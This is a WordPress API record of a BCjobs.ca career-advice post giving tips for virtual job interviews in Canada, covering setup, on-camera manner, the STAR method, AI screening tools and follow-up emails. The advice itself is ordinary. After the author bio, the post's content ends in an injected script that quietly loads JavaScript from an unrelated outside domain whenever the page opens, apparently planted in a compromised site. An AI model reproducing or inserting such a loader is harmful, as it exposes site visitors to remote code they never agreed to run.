{"id":1311,"date":"2025-07-15T10:00:55","date_gmt":"2025-07-15T17:00:55","guid":{"rendered":"https:\/\/www.bcjobs.ca\/career-advice\/?p=1311"},"modified":"2025-10-21T01:44:51","modified_gmt":"2025-10-21T08:44:51","slug":"virtual-interview-tips-2025","status":"publish","type":"post","link":"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/","title":{"rendered":"How to Ace a Virtual Interview in 2025: Tips for Success"},"content":{"rendered":"<p data-start=\"106\" data-end=\"220\">Online video interviews\u2014through platforms like Skype, Zoom, or Teams\u2014are no longer just convenient. They\u2019re now the default. In 2025, 95% of Canadians are online, and over 79% use social media every day. So, learning how to succeed in virtual interviews isn\u2019t optional anymore\u2014it\u2019s essential.<\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_50 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\" role=\"button\"><label for=\"item-6a0af65193907\" aria-hidden=\"true\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-6a0af65193907\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Why_Virtual_Interview_Tips_Still_Matter\" title=\"Why Virtual Interview Tips Still Matter\">Why Virtual Interview Tips Still Matter<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Get_Prepared_Tech_Setup_Practice\" title=\"Get Prepared: Tech, Setup &amp; Practice\">Get Prepared: Tech, Setup &amp; Practice<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Start_with_your_tech\" title=\"Start with your tech.\">Start with your tech.<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Next_get_comfortable_on_camera\" title=\"Next, get comfortable on camera.\">Next, get comfortable on camera.<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Understand_the_interview_format\" title=\"Understand the interview format.\">Understand the interview format.<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Boost_Your_Performance_with_These_Smart_Tips\" title=\"Boost Your Performance with These Smart Tips\">Boost Your Performance with These Smart Tips<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Understand_the_Canadian_Job_Market\" title=\"Understand the Canadian Job Market\">Understand the Canadian Job Market<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Tell_Your_Story_with_STAR_Cultural_Fit\" title=\"Tell Your Story with STAR + Cultural Fit\">Tell Your Story with STAR + Cultural Fit<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Use_the_STAR_method\" title=\"Use the STAR method\">Use the STAR method<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Tips_for_the_Interview_Itself_Stay_Engaged\" title=\"Tips for the Interview Itself: Stay Engaged\">Tips for the Interview Itself: Stay Engaged<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Ask_thoughtful_questions\" title=\"Ask thoughtful questions\">Ask thoughtful questions<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Explain_your_thinking\" title=\"Explain your thinking\">Explain your thinking<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Show_enthusiasm_and_curiosity\" title=\"Show enthusiasm and curiosity\">Show enthusiasm and curiosity<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Follow_Up_Like_a_Pro\" title=\"Follow Up Like a Pro\">Follow Up Like a Pro<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Send_a_personalized_thank-you_email\" title=\"Send a personalized thank-you email\">Send a personalized thank-you email<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Stay_in_touch%E2%80%94gracefully\" title=\"Stay in touch\u2014gracefully\">Stay in touch\u2014gracefully<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#Bonus_Virtual_Interview_Tips_for_2025\" title=\"Bonus: Virtual Interview Tips for 2025\">Bonus: Virtual Interview Tips for 2025<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#In_Summary\" title=\"In Summary\">In Summary<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.bcjobs.ca\/blog\/virtual-interview-tips-2025\/#About_the_Author\" title=\"About the Author\">About the Author<\/a><\/li><\/ul><\/nav><\/div>\n\n<h3 data-start=\"550\" data-end=\"593\"><span class=\"ez-toc-section\" id=\"Why_Virtual_Interview_Tips_Still_Matter\"><\/span>Why Virtual Interview Tips Still Matter<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"595\" data-end=\"836\">Let\u2019s be clear: this trend isn\u2019t going away. Even after the pandemic, remote and hybrid work remain common. In fact, 29% of new roles are hybrid, and 12% are fully remote. Meanwhile, office-based jobs have dropped to under 60% in early 2025.<\/p>\n<p data-start=\"838\" data-end=\"1121\">Moreover, recruiters now rely on AI tools that analyze tone, word choice, and even body language. These systems help reduce hiring bias by over 40% and speed up the process. So yes, someone\u2014or something\u2014is always watching. Fortunately, you can still shine with the right preparation.<\/p>\n<h3 data-start=\"1128\" data-end=\"1168\"><span class=\"ez-toc-section\" id=\"Get_Prepared_Tech_Setup_Practice\"><\/span>Get Prepared: Tech, Setup &amp; Practice<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"1170\" data-end=\"1472\"><span class=\"ez-toc-section\" id=\"Start_with_your_tech\"><\/span><strong data-start=\"1170\" data-end=\"1195\">Start with your tech.<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"1170\" data-end=\"1472\"><br data-start=\"1195\" data-end=\"1198\" \/>Before anything else, test your camera, mic, internet connection, lighting, and background. According to Indeed, Canadian recruiters care a lot about these details. For example, 88% dislike lag, 95% prefer cool lighting, and 97% want to see a clean, office-style background.<\/p>\n<p data-start=\"1474\" data-end=\"1626\"><strong data-start=\"1474\" data-end=\"1491\">Here\u2019s a tip:<\/strong> Choose a well-lit room, avoid distractions, and sit in front of a plain wall. Use natural light or cool bulbs for a professional look.<\/p>\n<h4 data-start=\"959\" data-end=\"989\"><span class=\"ez-toc-section\" id=\"Next_get_comfortable_on_camera\"><\/span><strong data-start=\"1628\" data-end=\"1664\">Next, get comfortable on camera.<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"959\" data-end=\"989\">Practice makes perfect. Try mock interviews with a friend or record yourself. This will help you see how often you glance away, rely on notes, or fidget. Aim for 60\u201370% eye contact, a relaxed but upright posture, and a genuine smile.<\/p>\n<h4 data-start=\"1902\" data-end=\"1969\"><span class=\"ez-toc-section\" id=\"Understand_the_interview_format\"><\/span><strong data-start=\"1902\" data-end=\"1938\">Understand the interview format.<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"1902\" data-end=\"1969\">There are usually two types:<\/p>\n<ul data-start=\"1971\" data-end=\"2149\">\n<li data-start=\"1971\" data-end=\"2071\">\n<p data-start=\"1973\" data-end=\"2071\"><strong data-start=\"1973\" data-end=\"1990\">Asynchronous:<\/strong> You record answers to pre-set questions. Often, AI will evaluate your responses.<\/p>\n<\/li>\n<li data-start=\"2072\" data-end=\"2149\">\n<p data-start=\"2074\" data-end=\"2149\"><strong data-start=\"2074\" data-end=\"2095\">Live video calls:<\/strong> You speak in real time with one or more interviewers.<\/p>\n<\/li>\n<\/ul>\n<p data-start=\"2151\" data-end=\"2237\">Always confirm the format beforehand. Each one requires a slightly different approach.<\/p>\n<h3 data-start=\"2244\" data-end=\"2292\"><span class=\"ez-toc-section\" id=\"Boost_Your_Performance_with_These_Smart_Tips\"><\/span>Boost Your Performance with These Smart Tips<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"2294\" data-end=\"2521\"><strong data-start=\"2294\" data-end=\"2324\">Nail the first 30 seconds.<\/strong><br data-start=\"2324\" data-end=\"2327\" \/>According to <em data-start=\"2340\" data-end=\"2358\">Business Insider<\/em>, many interviewers\u2014and AI systems\u2014form an impression within the first half-minute. Therefore, start with a confident tone, a warm smile, and a clear introduction.<\/p>\n<p data-start=\"2523\" data-end=\"2714\"><strong data-start=\"2523\" data-end=\"2550\">Avoid sounding robotic.<\/strong><br data-start=\"2550\" data-end=\"2553\" \/>Reading from a script rarely works. Instead, jot down bullet points and speak naturally. AI tools can detect if you&#8217;re reading, so keep your tone conversational.<\/p>\n<p data-start=\"2716\" data-end=\"2913\"><strong data-start=\"2716\" data-end=\"2750\">Dress to impress\u2014even at home.<\/strong><br data-start=\"2750\" data-end=\"2753\" \/>When in doubt, dress up, not down. Go with solid, neutral colors and skip the flashy patterns. Match your outfit to the company\u2019s culture, leaning professional.<\/p>\n<p data-start=\"2915\" data-end=\"3129\"><strong data-start=\"2915\" data-end=\"2943\">Think about visuals too.<\/strong><br data-start=\"2943\" data-end=\"2946\" \/>Besides your outfit, your background, lighting, and posture matter. Use a stable chair, keep your camera at eye level, and smile when appropriate. Small details make a big difference.<\/p>\n<p data-start=\"3131\" data-end=\"3287\"><strong data-start=\"3131\" data-end=\"3161\">Always have a backup plan.<\/strong><br data-start=\"3161\" data-end=\"3164\" \/>If your Wi-Fi crashes, be ready to use your phone\u2019s hotspot or switch to a phone call. Having a plan shows professionalism.<\/p>\n<p data-start=\"3289\" data-end=\"3439\"><strong data-start=\"3289\" data-end=\"3329\">Before you go live, do a tech check.<\/strong><br data-start=\"3329\" data-end=\"3332\" \/>Close all apps. Turn on \u201cDo Not Disturb.\u201d Plug in your devices. These steps help you stay calm and focused.<\/p>\n<h3 data-start=\"3446\" data-end=\"3484\"><span class=\"ez-toc-section\" id=\"Understand_the_Canadian_Job_Market\"><\/span>Understand the Canadian Job Market<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"3486\" data-end=\"3730\"><strong data-start=\"3486\" data-end=\"3522\">Know what\u2019s happening in Canada.<\/strong><br data-start=\"3522\" data-end=\"3525\" \/>Hiring trends in 2025 are shaped by changes in immigration, housing, and labor laws. For instance, with lower immigration targets, industries like healthcare and construction now rely more on local talent.<\/p>\n<p data-start=\"3732\" data-end=\"3942\"><strong data-start=\"3732\" data-end=\"3767\">Watch for in-demand tech roles.<\/strong><br data-start=\"3767\" data-end=\"3770\" \/>Fields like cloud computing, secure AI, DevOps, and data analytics are booming. If you\u2019ve got these skills, showcase them clearly. Don\u2019t just say \u201ctech-savvy\u201d\u2014get specific.<\/p>\n<p data-start=\"3944\" data-end=\"4147\"><strong data-start=\"3944\" data-end=\"3982\">Show you\u2019re ready for hybrid work.<\/strong><br data-start=\"3982\" data-end=\"3985\" \/>One-third of new jobs are remote or hybrid. So, be ready to talk about your home workspace, how you stay focused, and how you manage team collaboration from afar.<\/p>\n<p data-start=\"4149\" data-end=\"4341\"><strong data-start=\"4149\" data-end=\"4180\">Use data to your advantage.<\/strong><br data-start=\"4180\" data-end=\"4183\" \/>Many companies use analytics to screen candidates and reduce turnover. Talk about any experience you have using data to solve problems\u2014it makes you stand out.<\/p>\n<h3 data-start=\"4348\" data-end=\"4392\"><span class=\"ez-toc-section\" id=\"Tell_Your_Story_with_STAR_Cultural_Fit\"><\/span>Tell Your Story with STAR + Cultural Fit<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"2862\" data-end=\"2886\"><span class=\"ez-toc-section\" id=\"Use_the_STAR_method\"><\/span>Use the STAR method<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"2887\" data-end=\"2967\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">When answering behavioral questions, stick to:<br data-start=\"4467\" data-end=\"4470\" \/><strong data-start=\"4470\" data-end=\"4475\">S<\/strong>ituation \u2013 what happened<br data-start=\"4499\" data-end=\"4502\" \/><strong data-start=\"4502\" data-end=\"4507\">T<\/strong>ask \u2013 what you had to do<br data-start=\"4531\" data-end=\"4534\" \/><strong data-start=\"4534\" data-end=\"4539\">A<\/strong>ction \u2013 what you did<br data-start=\"4559\" data-end=\"4562\" \/><strong data-start=\"4562\" data-end=\"4567\">R<\/strong>esult \u2013 what changed<\/span><\/p>\n<p data-start=\"4589\" data-end=\"4787\"><strong data-start=\"4589\" data-end=\"4636\">Tailor your answers for Canadian employers.<\/strong><br data-start=\"4636\" data-end=\"4639\" \/>If you\u2019ve worked across time zones or used both English and French in communication, highlight that. It shows you\u2019re adaptable and culturally aware.<\/p>\n<p data-start=\"4789\" data-end=\"4989\"><strong data-start=\"4789\" data-end=\"4825\">Research the company in advance.<\/strong><br data-start=\"4825\" data-end=\"4828\" \/>Check their website, LinkedIn, and recent news. Mention a project or value that resonates with you. That way, you show genuine interest\u2014not just generic answers.<\/p>\n<h3 data-start=\"4996\" data-end=\"5043\"><span class=\"ez-toc-section\" id=\"Tips_for_the_Interview_Itself_Stay_Engaged\"><\/span>Tips for the Interview Itself: Stay Engaged<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"3210\" data-end=\"3239\"><span class=\"ez-toc-section\" id=\"Ask_thoughtful_questions\"><\/span>Ask thoughtful questions<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3240\" data-end=\"3279\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Prepare 3\u20135 intelligent questions. Ask about team workflows, remote collaboration, <a href=\"https:\/\/www.bcjobs.ca\/blog\/job-skill-training-canada-2025\/\" target=\"_blank\" rel=\"noopener\">professional development<\/a>, or how the company defines success. It shows you care about fit, not just the job.<\/span><\/p>\n<h4 data-start=\"3281\" data-end=\"3307\"><span class=\"ez-toc-section\" id=\"Explain_your_thinking\"><\/span>Explain your thinking<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3308\" data-end=\"3347\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">If they ask a problem-solving question, think out loud\u2014especially in tech or data roles. Show how your mind works; if a tool fails, you walk through fallback plans.<\/span><\/p>\n<h4 data-start=\"3349\" data-end=\"3383\"><span class=\"ez-toc-section\" id=\"Show_enthusiasm_and_curiosity\"><\/span>Show enthusiasm and curiosity<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3384\" data-end=\"3423\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Smile! Lean forward slightly. Nods and facial expressions signal engagement. Virtual interviews can feel sterile otherwise\u2014add warmth.<\/span><\/p>\n<h3 data-start=\"3430\" data-end=\"3454\"><span class=\"ez-toc-section\" id=\"Follow_Up_Like_a_Pro\"><\/span>Follow Up Like a Pro<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h4 data-start=\"3456\" data-end=\"3496\"><span class=\"ez-toc-section\" id=\"Send_a_personalized_thank-you_email\"><\/span>Send a personalized thank-you email<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3497\" data-end=\"3577\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Within 24 hours, thank them and recap something specific you talked about\u2014maybe a project, tool, or meeting plan. It reinforces your interest and attention to detail.<\/span><\/p>\n<h4 data-start=\"3579\" data-end=\"3608\"><span class=\"ez-toc-section\" id=\"Stay_in_touch%E2%80%94gracefully\"><\/span>Stay in touch\u2014gracefully<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p data-start=\"3609\" data-end=\"3648\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">If you don\u2019t hear back, wait a week, then send a polite note: \u201cJust checking in\u2014still very interested!\u201d It shows persistence without being pushy.<\/span><\/p>\n<h3 data-start=\"3655\" data-end=\"3678\"><span class=\"ez-toc-section\" id=\"Bonus_Virtual_Interview_Tips_for_2025\"><\/span>Bonus: Virtual Interview Tips for 2025<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul data-start=\"3680\" data-end=\"4091\">\n<li data-start=\"3680\" data-end=\"3802\">\n<p data-start=\"3682\" data-end=\"3802\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><strong data-start=\"0\" data-end=\"22\" data-is-only-node=\"\">AI screening tools<\/strong>: They analyze tone, facial expressions, even micro-expressions.<\/span>\u00a0<span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Stay genuine, clear, and calm.<\/span><\/p>\n<\/li>\n<li data-start=\"3803\" data-end=\"3925\">\n<p data-start=\"3805\" data-end=\"3925\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><strong data-start=\"0\" data-end=\"23\" data-is-only-node=\"\">Proctoring features<\/strong>: Some systems check for background consistency and identity during live interviews<\/span>. <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Keep your setup consistent from start to finish.<\/span><\/p>\n<\/li>\n<li data-start=\"3926\" data-end=\"4008\">\n<p data-start=\"3928\" data-end=\"4008\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><strong data-start=\"0\" data-end=\"26\" data-is-only-node=\"\">Live coding\/data tasks<\/strong>: If you\u2019re in tech or data, have your environment ready. Use a second screen if you can. Speak clearly about your decisions<\/span>.<\/p>\n<\/li>\n<li data-start=\"4009\" data-end=\"4091\">\n<p data-start=\"4011\" data-end=\"4091\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><strong data-start=\"0\" data-end=\"24\" data-is-only-node=\"\">AI preparation tools<\/strong>: LinkedIn, Coursera, and Udemy offer mock interview platforms with feedback tailored to the role. These help simulate real-world conditions<\/span> .<\/p>\n<\/li>\n<\/ul>\n<h3 data-start=\"4098\" data-end=\"4112\"><span class=\"ez-toc-section\" id=\"In_Summary\"><\/span>In Summary<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"4114\" data-end=\"4262\">Virtual interviews are now the norm\u2014and Canada\u2019s tech-forward, hybrid-heavy job market is leading the charge. Here\u2019s your elevator pitch to success:<\/p>\n<ol data-start=\"4264\" data-end=\"4580\">\n<li data-start=\"4264\" data-end=\"4339\">\n<p data-start=\"4267\" data-end=\"4339\"><strong data-start=\"4267\" data-end=\"4283\">Start strong<\/strong> with confidence, good lighting, and camera-ready setup.<\/p>\n<\/li>\n<li data-start=\"4340\" data-end=\"4406\">\n<p data-start=\"4343\" data-end=\"4406\"><strong data-start=\"4343\" data-end=\"4357\">Be natural<\/strong>\u2014don\u2019t script it. AI and humans can spot reading.<\/p>\n<\/li>\n<li data-start=\"4407\" data-end=\"4465\">\n<p data-start=\"4410\" data-end=\"4465\"><strong data-start=\"4410\" data-end=\"4430\">Use STAR stories<\/strong>, customized for Canadian contexts.<\/p>\n<\/li>\n<li data-start=\"4466\" data-end=\"4535\">\n<p data-start=\"4469\" data-end=\"4535\"><strong data-start=\"4469\" data-end=\"4490\">Show cultural fit<\/strong>\u2014highlight your understanding of the company.<\/p>\n<\/li>\n<li data-start=\"4536\" data-end=\"4580\">\n<p data-start=\"4539\" data-end=\"4580\"><strong data-start=\"4539\" data-end=\"4560\">Follow up smartly<\/strong> and professionally.<\/p>\n<\/li>\n<\/ol>\n<p data-start=\"4582\" data-end=\"5008\">With strong technical setup, clear delivery of skills, and real curiosity about the company and Canadian market, you\u2019ll stand out\u2014AI or not. Want deeper insight into any of these tips? Here are some great resources: <a class=\"\" href=\"https:\/\/datareportal.com\" target=\"_blank\" rel=\"noopener\" data-start=\"4861\" data-end=\"4930\">DataReportal\u2019s Digital 2025 Canada report<\/a>, and <a class=\"\" href=\"https:\/\/www.businessinsider.com\" target=\"_blank\" rel=\"noopener\" data-start=\"4936\" data-end=\"5007\">Business Insider\u2019s AI interview tips<\/a>.<\/p>\n<p data-start=\"5010\" data-end=\"5069\">Good luck with your next virtual interview\u2014you\u2019ve got this!<\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"About_the_Author\"><\/span><b><i>About the Author<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p data-start=\"5010\" data-end=\"5069\"><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\">BCjobs.ca<\/span><\/a><span style=\"font-weight: 400;\"> is Western Canada\u2019s largest job board, with a majority of the jobs coming from Vancouver. For over 20 years, BCJobs has connected job candidates with companies looking to add talent to their teams. Support the local job market by using<\/span><a href=\"http:\/\/www.bcjobs.ca\"> <span style=\"font-weight: 400;\">BCJobs.ca.<\/span><\/a><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Online video interviews\u2014through platforms like Skype, Zoom, or Teams\u2014are no longer just convenient. They\u2019re now the default. In 2025, 95% of Canadians are online, and over 79% use social media every day. So, learning how to succeed in virtual interviews isn\u2019t optional anymore\u2014it\u2019s essential. Why Virtual Interview Tips Still Matter Let\u2019s be clear: this trend [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":10582,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-1311","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-interview"],"_links":{"self":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/1311","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/comments?post=1311"}],"version-history":[{"count":6,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/1311\/revisions"}],"predecessor-version":[{"id":10756,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/1311\/revisions\/10756"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media\/10582"}],"wp:attachment":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media?parent=1311"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/categories?post=1311"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/tags?post=1311"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}